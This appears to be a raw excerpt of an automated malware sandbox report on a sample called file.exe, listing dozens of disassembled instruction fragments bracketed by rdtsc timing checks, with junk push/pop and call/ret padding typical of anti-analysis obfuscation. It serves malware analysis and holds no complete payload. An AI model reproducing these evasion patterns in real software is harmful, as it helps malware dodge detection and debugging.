Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03965 second address: D03985 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F3EDCBDB9B3h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03985 second address: D039E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B9259h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F3EDD0B9251h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007F3EDD0B9257h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 jmp 00007F3EDD0B924Dh 0x00000025 pop eax 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D039E5 second address: D039EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F3EDCBDB9A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D039EF second address: D039F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D039F3 second address: D03A29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov si, 9C2Ch 0x0000000d call 00007F3EDCBDB9A9h 0x00000012 jmp 00007F3EDCBDB9AFh 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b jmp 00007F3EDCBDB9ACh 0x00000020 pop esi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03A29 second address: D03A6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B924Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 jmp 00007F3EDD0B9256h 0x00000017 popad 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c jnl 00007F3EDD0B924Ch 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03A6A second address: D03A7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03A7B second address: D03A7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D04128 second address: D0412D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D04896 second address: D0489A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D04A4A second address: D04A6D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F3EDCBDB9AEh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F3EDCBDB9ACh 0x00000014 jng 00007F3EDCBDB9A6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D04A6D second address: D04A72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D05097 second address: D050A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F3EDCBDB9A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D05A82 second address: D05A86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06D37 second address: D06D52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3EDCBDB9B7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D078A2 second address: D07910 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F3EDD0B9256h 0x0000000c jmp 00007F3EDD0B9250h 0x00000011 popad 0x00000012 push eax 0x00000013 jc 00007F3EDD0B9252h 0x00000019 jnp 00007F3EDD0B924Ch 0x0000001f nop 0x00000020 mov dword ptr [ebp+122D3114h], esi 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push edx 0x0000002b call 00007F3EDD0B9248h 0x00000030 pop edx 0x00000031 mov dword ptr [esp+04h], edx 0x00000035 add dword ptr [esp+04h], 00000015h 0x0000003d inc edx 0x0000003e push edx 0x0000003f ret 0x00000040 pop edx 0x00000041 ret 0x00000042 jmp 00007F3EDD0B924Ah 0x00000047 push 00000000h 0x00000049 or dword ptr [ebp+122D1C96h], ecx 0x0000004f xchg eax, ebx 0x00000050 push esi 0x00000051 push eax 0x00000052 push edx 0x00000053 push ebx 0x00000054 pop ebx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07910 second address: D07914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09909 second address: D09914 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F3EDD0B9246h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09914 second address: D09922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09922 second address: D09928 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BFED second address: D0BFF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BFF3 second address: D0BFF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D752 second address: D0D75A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0AAF5 second address: D0AAFF instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3EDD0B9246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0FBBE second address: D0FBC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D11B77 second address: D11B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0FD97 second address: D0FDAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDCBDB9AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0FE92 second address: D0FEA6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jns 00007F3EDD0B9250h 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12B89 second address: D12C0F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F3EDCBDB9B4h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e movzx edi, cx 0x00000011 mov edi, dword ptr [ebp+122D2BBBh] 0x00000017 push 00000000h 0x00000019 sub ebx, dword ptr [ebp+122D2D78h] 0x0000001f push ecx 0x00000020 pushad 0x00000021 sub dword ptr [ebp+122D3009h], ecx 0x00000027 jne 00007F3EDCBDB9A6h 0x0000002d popad 0x0000002e pop edi 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebp 0x00000034 call 00007F3EDCBDB9A8h 0x00000039 pop ebp 0x0000003a mov dword ptr [esp+04h], ebp 0x0000003e add dword ptr [esp+04h], 00000018h 0x00000046 inc ebp 0x00000047 push ebp 0x00000048 ret 0x00000049 pop ebp 0x0000004a ret 0x0000004b mov edi, edx 0x0000004d xchg eax, esi 0x0000004e jnl 00007F3EDCBDB9B1h 0x00000054 push eax 0x00000055 pushad 0x00000056 push ecx 0x00000057 push edi 0x00000058 pop edi 0x00000059 pop ecx 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007F3EDCBDB9AAh 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12E99 second address: D12E9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D14C25 second address: D14C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 jns 00007F3EDCBDB9ACh 0x0000000e pop ecx 0x0000000f nop 0x00000010 xor dword ptr [ebp+12471F2Eh], edx 0x00000016 push dword ptr fs:[00000000h] 0x0000001d push edi 0x0000001e pop edi 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push ecx 0x00000027 mov edi, dword ptr [ebp+122D3808h] 0x0000002d pop ebx 0x0000002e mov eax, dword ptr [ebp+122D0739h] 0x00000034 mov dword ptr [ebp+122D2D6Fh], ecx 0x0000003a push FFFFFFFFh 0x0000003c push 00000000h 0x0000003e push ecx 0x0000003f call 00007F3EDCBDB9A8h 0x00000044 pop ecx 0x00000045 mov dword ptr [esp+04h], ecx 0x00000049 add dword ptr [esp+04h], 0000001Dh 0x00000051 inc ecx 0x00000052 push ecx 0x00000053 ret 0x00000054 pop ecx 0x00000055 ret 0x00000056 cmc 0x00000057 push eax 0x00000058 pushad 0x00000059 pushad 0x0000005a jc 00007F3EDCBDB9A6h 0x00000060 pushad 0x00000061 popad 0x00000062 popad 0x00000063 push eax 0x00000064 push edx 0x00000065 push ecx 0x00000066 pop ecx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15A09 second address: D15A0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D14C9D second address: D14CA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15A0F second address: D15A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17959 second address: D1795D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1795D second address: D179CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F3EDD0B9248h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 push 00000000h 0x00000026 call 00007F3EDD0B924Ah 0x0000002b jmp 00007F3EDD0B9251h 0x00000030 pop ebx 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edx 0x00000036 call 00007F3EDD0B9248h 0x0000003b pop edx 0x0000003c mov dword ptr [esp+04h], edx 0x00000040 add dword ptr [esp+04h], 00000014h 0x00000048 inc edx 0x00000049 push edx 0x0000004a ret 0x0000004b pop edx 0x0000004c ret 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16C5C second address: D16C6E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3EDCBDB9A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D179CA second address: D179D0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16C6E second address: D16C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16C72 second address: D16C86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B9250h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1AAEC second address: D1AB63 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov edi, 28786DA6h 0x0000000e pushad 0x0000000f mov di, cx 0x00000012 cld 0x00000013 popad 0x00000014 push 00000000h 0x00000016 pushad 0x00000017 movsx edi, bx 0x0000001a jmp 00007F3EDCBDB9B4h 0x0000001f popad 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push edx 0x00000025 call 00007F3EDCBDB9A8h 0x0000002a pop edx 0x0000002b mov dword ptr [esp+04h], edx 0x0000002f add dword ptr [esp+04h], 00000018h 0x00000037 inc edx 0x00000038 push edx 0x00000039 ret 0x0000003a pop edx 0x0000003b ret 0x0000003c mov bx, 730Bh 0x00000040 jnc 00007F3EDCBDB9ABh 0x00000046 xchg eax, esi 0x00000047 jmp 00007F3EDCBDB9AFh 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18D0E second address: D18D1C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1AB63 second address: D1AB67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17B95 second address: D17B9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1AB67 second address: D1AB71 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3EDCBDB9A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17B9B second address: D17BA5 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3EDD0B924Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1AB71 second address: D1AB77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1BBE7 second address: D1BC29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 nop 0x00000005 push 00000000h 0x00000007 push ebp 0x00000008 call 00007F3EDD0B9248h 0x0000000d pop ebp 0x0000000e mov dword ptr [esp+04h], ebp 0x00000012 add dword ptr [esp+04h], 00000015h 0x0000001a inc ebp 0x0000001b push ebp 0x0000001c ret 0x0000001d pop ebp 0x0000001e ret 0x0000001f jmp 00007F3EDD0B9250h 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 mov edi, dword ptr [ebp+122D2BCFh] 0x0000002e xchg eax, esi 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 push esi 0x00000033 pop esi 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1BC29 second address: D1BC2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1BC2D second address: D1BC38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1AC7E second address: D1AC82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1AC82 second address: D1AC86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1AC86 second address: D1AC8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1AC8C second address: D1ACB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B9251h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnc 00007F3EDD0B9258h 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007F3EDD0B9246h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1ACB0 second address: D1ACB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1BDE0 second address: D1BDE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1DD3A second address: D1DD41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1BE98 second address: D1BEA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3EDD0B9246h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1CE70 second address: D1CE76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1CE76 second address: D1CE7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20190 second address: D201AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDCBDB9B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D201AF second address: D201CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EDD0B9251h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1EFB2 second address: D1EFC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3EDCBDB9B1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1EFC7 second address: D1EFE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F3EDD0B9254h 0x00000011 jmp 00007F3EDD0B924Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D25F20 second address: D25F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D25F25 second address: D25F40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3EDD0B9255h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D255FC second address: D25603 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2592C second address: D2593A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F3EDD0B9246h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2593A second address: D25942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D25942 second address: D25948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D25948 second address: D2594E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2AA43 second address: D2AA49 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D182 second address: D2D186 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D244 second address: D2D298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 jns 00007F3EDD0B9253h 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F3EDD0B9250h 0x00000017 mov eax, dword ptr [eax] 0x00000019 jl 00007F3EDD0B925Bh 0x0000001f jl 00007F3EDD0B9255h 0x00000025 jmp 00007F3EDD0B924Fh 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e pushad 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D298 second address: D2D2B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3EDCBDB9B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D384 second address: D2D388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D388 second address: D2D3C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3EDCBDB9B3h 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F3EDCBDB9AAh 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 jne 00007F3EDCBDB9ACh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D3C0 second address: D2D3C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D3C6 second address: D2D3CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30C98 second address: D30C9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D312AB second address: D312AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D312AF second address: D312B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D316FA second address: D31704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3EDCBDB9A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31704 second address: D31708 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31708 second address: D31716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F3EDCBDB9A8h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
